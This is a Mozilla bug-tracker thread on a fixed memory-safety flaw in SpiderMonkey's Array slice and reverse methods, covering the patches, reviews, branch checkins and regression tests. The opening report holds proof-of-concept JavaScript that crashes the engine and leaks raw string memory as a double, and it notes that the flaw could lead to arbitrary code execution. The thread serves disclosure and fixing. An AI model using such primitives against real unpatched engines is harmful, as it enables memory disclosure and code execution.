311792 - Unrooted access in Array.prototype methods

Status: VERIFIED FIXED

(Core :: JavaScript Engine, defect, P1)

Description

[Igor Bukanov]

Here is unrooted object access found in Array.prototype implementation in jsarray.c

1. array_slice does not root the array for slice results with trivial
demonstration of segmentation fault in jsshell:

function index_getter()
{
	gc();
	return 100;
}

var a = [0, 1];
a.__defineGetter__(0, index_getter);

uneval(a.slice(0, 1));


To make this to crash the browser just replace "gc();" by 
for (var i = 0; i != 1 << 15; ++i) new Object();

2. array_reverse does not root v and v2 indexes that it use to hold reversing
values. Here is an example for jsshell that demonstrates how to expose 64 bits
that holds JSString value into a script variable:

var subverted = 0;

function index_getter()
{
	delete a[0];
	gc();
	for (var i = 0; i != 1 << 14; ++i) {
		var tmp = new String("test");
		tmp = null;
	}
	return 1;
}

function index_setter(value)
{
	subverted = value;
}

var a = [ Math.sqrt(2), 0 ];
a.__defineGetter__(1, index_getter);
a.__defineSetter__(1, index_setter);

a.reverse();
print(subverted)

On my Linux box it prints 1.3303688272434068e-266 which is assembled from
JSString bits for 'new String("test");' interpreted as double value.

In a similar way one can make a GC thing that JS considers to be JSString from
arbitrary double value which could potentially allow to read arbitrary memory
context into scripts variables via this pseudo-string.

Due to this potential exposure I mark this bug as security-restricted.

Comment 1

[Igor Bukanov]

Attachment: Fix

I am not 100% sure that I can use argv[argc] as a space for the second local
root in array_reverse. Is it OK?

Comment 2

[Igor Bukanov]

Attachment: Fix 2

The previois fix should move, not copy the line with 
*rval = OBJECT_TO_JSVAL(nobj)
to the beginning of the function. So here is removal of the extra assignment.

Comment 3

[Brendan Eich [:brendan]]

Thanks, Igor.  Another old bug that can be safely fixed for 1.8.  mrbkap, can
you drive this one in?

/be

Comment 4

[Brendan Eich [:brendan]]

Comment on attachment 199013 [details] [diff] [review]
Fix 2

To use argv[argc] as a local root, you need to reserve one local root by
changing

    {"reverse", 	    array_reverse,	    0,JSFUN_GENERIC_NATIVE,0},

to have 1 instead of 0 in the last member initializer.

/be

Comment 5

[Igor Bukanov]

Attachment: Fix 3

I used 2 extra local roots to swap temporaries for less hackish code and added
that 2 into array_methods declaration. 

More hackish version would use argv[-2] for the second local root, right?

Comment 6

[Brendan Eich [:brendan]]

Comment on attachment 199024 [details] [diff] [review]
Fix 3

Great, thanks.	I will rely on mrbkap to do a second review and help get this
checked in.

/be

Comment 7

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 199024 [details] [diff] [review]
Fix 3

r=mrbkap

Comment 8

[Igor Bukanov]

> [sg:low] memory read at least, maybe more

Unfortunately it is the same type of problem as in bug 311497 and can be used
for arbitrary code execution, see comment 10 there for details.

Comment 9

[Brendan Eich [:brendan]]

Blake, would you shepherd this to fixed resolution?  Thanks,

/be

Comment 10

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into trunk.

Comment 11

[Brendan Eich [:brendan]]

(In reply to comment #5)
> Created an attachment (id=199024) [edit]
> Fix 3
> 
> I used 2 extra local roots to swap temporaries for less hackish code and added
> that 2 into array_methods declaration. 
> 
> More hackish version would use argv[-2] for the second local root, right?

That would be the callee function object, but it might be bad to overwrite it,
if you use an in-runtime debugger that might be confused.

/be

Comment 12

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into MOZILLA_1_8_BRANCH.

Reopening to give to Igor.

Comment 13

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/Array/regress-311792-01.js

Comment 14

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/Array/regress-311792-02.js

Comment 15

[Bob Clary [:bc] (inactive)]

verified firefox 1.5 rc2 linux/win32 2005-11-07

Comment 16

[Bob Clary [:bc] (inactive)]

testcase+ to get this off my radar. when this is made public, i will check in the test.

Comment 17

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into the 1.7 branches.

Comment 18

[Bob Clary [:bc] (inactive)]

js1_5/Array/regress-311792-01.js, js1_5/Array/regress-311792-02.js verified no crash in automatic tests of firefox nightlies 1.7.13, 1.8.0.1, 1.8, 1.9a1 on windows/linux/mac. Note that 1.7.5 and 1.7.12 did crash.

For mozilla 1.7.13 on winxp running the tests in the browser_however_ I was able to get a nightly Mozilla 1.7.13 from 20060213 to crash by clicking and attempting to edit the url in the urlbar back and forth from -01 to -02 however it did not crash immediately. I could not reproduce with a debug firefox trunk build from 20060214. I was able to hit an assert in Firefox 1.0.8 debug build from 20060214 though.

<http://test.mozilla.com/tests/mozilla.org/js/js-test-driver-standards.html?test=js1_5/Array/regress-311792-01.js;language=language;javascript>

Assertion failure: flags != GCF_FINAL, at c:/work/mozilla/builds/ff/1.0.x/mozilla/js/src/jsgc.c:835

+	cx	0x03bb08c0
	thing	0x03baf368
	arg	0x00000000
+	vp	0x03c734e8
+	flagp	0x03bae225 ""
+	obj	0x03baeba8
	nslots	0x00000005
	v	0x80000001
+	end	0x03c734e8
+	rt	0x00ec9e78
+	str	0x03bae9b0
	flags	0x10 ''

js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03baf368, void * 0x00000000) line 835 + 35 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03bae520, void * 0x00000000) line 919 + 18 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03b2a360, void * 0x00000000) line 919 + 18 bytes
js_MarkGCThing(JSContext * 0x03bb08c0, void * 0x03b2ad50, void * 0x00000000) line 919 + 18 bytes
gc_root_marker(JSDHashTable * 0x00ec9e98, JSDHashEntryHdr * 0x03b8786c, unsigned long 0x000001e6, void * 0x03bb08c0) line 975 + 18 bytes
JS_DHashTableEnumerate(JSDHashTable * 0x00ec9e98, int (JSDHashTable *, JSDHashEntryHdr *, unsigned long, void *)* 0x10042cb0 gc_root_marker(JSDHashTable *, JSDHashEntryHdr *, unsigned long, void *), void * 0x03bb08c0) line 618 + 34 bytes
js_GC(JSContext * 0x03bb08c0, unsigned int 0x00000000) line 1189 + 21 bytes
js_ForceGC(JSContext * 0x03bb08c0, unsigned int 0x00000000) line 1000 + 13 bytes
JS_GC(JSContext * 0x03bb08c0) line 1698 + 11 bytes
nsJSContext::Notify(nsJSContext * const 0x03bb0720, nsITimer * 0x0344b058) line 1859 + 13 bytes
nsTimerImpl::Fire() line 386
nsTimerManager::FireNextIdleTimer(nsTimerManager * const 0x0316f7f0) line 616
nsAppShell::Run(nsAppShell * const 0x02dcd6f8) line 142
nsAppShellService::Run(nsAppShellService * const 0x02dcd638) line 495
xre_main(int 0x00000004, char * * 0x003e6e08, const nsXREAppData * 0x0041e01c kAppData) line 1907 + 35 bytes
main(int 0x00000004, char * * 0x003e6e08) line 58 + 18 bytes
mainCRTStartup() line 338 + 17 bytes
KERNEL32! 7c816d4f()

I think this is fixed, but leaving unverified on the 1.7 branch for now until someone looks at the stack.

Comment 19

[Bob Clary [:bc] (inactive)]

v ff 1.0.8, 1.5.0.1, 1.5, 1.6a1 20060217 win/linux/mac, mozilla 1.7.13 winxp.

Comment 20

[Bob Clary [:bc] (inactive)]

RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-01.js,v
done
Checking in regress-311792-01.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-01.js,v  <--  regress-311792-01.js
initial revision: 1.1
done
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-02.js,v
done
Checking in regress-311792-02.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-311792-02.js,v  <--  regress-311792-02.js
initial revision: 1.1
done